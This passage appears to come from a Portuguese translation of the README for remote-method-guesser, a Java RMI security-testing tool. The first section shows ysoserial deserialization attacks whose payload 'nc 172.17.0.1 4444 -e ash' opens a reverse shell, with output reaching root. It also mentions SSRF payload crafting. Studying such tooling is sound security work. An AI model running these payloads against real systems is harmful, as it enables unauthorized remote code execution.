ataques de desserialização em um *endpoint Activator* devem sempre funcionar, mesmo nas versões mais recentes do *Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Nível da Aplicação

Enquanto implementações modernas de Java RMI protegem componentes RMI conhecidos com filtros de desserialização por padrão, RemoteObjects personalizados (aplicações RMI reais) geralmente não são protegidos. Métodos remotos que não usam apenas tipos primitivos em seus argumentos podem, portanto, ser usados para ataques de desserialização. Este artigo de blog de Hans-Martin Münch explica este problema em mais detalhes. remote-method-guesser pode ser usado para verificar facilmente tais vulnerabilidades. Como exemplo, podemos usar o método String login(java.util.HashMap dummy1) do servidor de exemplo da ferramenta remote-method-guesser para realizar um ataque de desserialização:```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430. [+] Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
### Mais Funcionalidades

O *remote-method-guesser* inclui muitas funcionalidades que não são explicadas neste arquivo *README.md*. Algumas delas estão listadas abaixo:

* Quase todas as operações podem ser usadas com a opção ``--ssrf`` para criar um payload *SSRF* para a operação correspondente.
* Se você obtiver uma saída binária do *servidor RMI* (por exemplo, após um ataque *SSRF*), pode fornecê-la ao *remote-method-guesser* usando a opção ``--ssrf-response``. Isso interpreta a saída do servidor como se tivesse sido obtida pela operação especificada.
* O *remote-method-guesser* pode ser estendido usando seu *Sistema de Plugins*. Quatro interfaces (``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` e ``ISocketFactoryProvider``) podem ser usadas para adaptar o *remote-method-guesser* a cenários de uso mais complexos.
* Durante a ação ``guess``, você pode usar a opção ``--create-samples`` para gerar código *Java* que pode ser usado para invocar métodos adivinhados com sucesso.

Mais informações sobre essas funcionalidades podem ser encontradas na [pasta de documentação](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs).

### Imagem Docker

----

Desde a versão `v4.4.0`, o *remote-method-guesser* também está disponível como imagem docker e pode ser baixada do [Registro de Contêineres do GitHub](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg). Para cada versão, há uma versão *normal* e uma *slim* disponíveis. Ambas fornecem uma versão funcional completa do *remote-method-guesser*, mas apenas a versão *normal* inclui o [ysoserial](https://github.com/frohoff/ysoserial), resultando em um tamanho de imagem maior:

* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`

Você também pode construir o contêiner por conta própria executando os seguintes comandos:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

Agradecimentos


O remote-method-guesser foi fortemente influenciado pelas postagens do blog de Hans-Martin Münch e Jake Miller. Além disso, a wordlist do rmiscout foi obviamente copiada do projeto rmiscout (como já se pode perceber pelo diferente acordo de licenciamento). Obrigado, Jake, por esta lista de métodos remotos incrível, coletada de diferentes repositórios do GitHub.

Copyright 2023, Tobias Neitzel e os colaboradores do remote-method-guesser.

Baixar ferramenta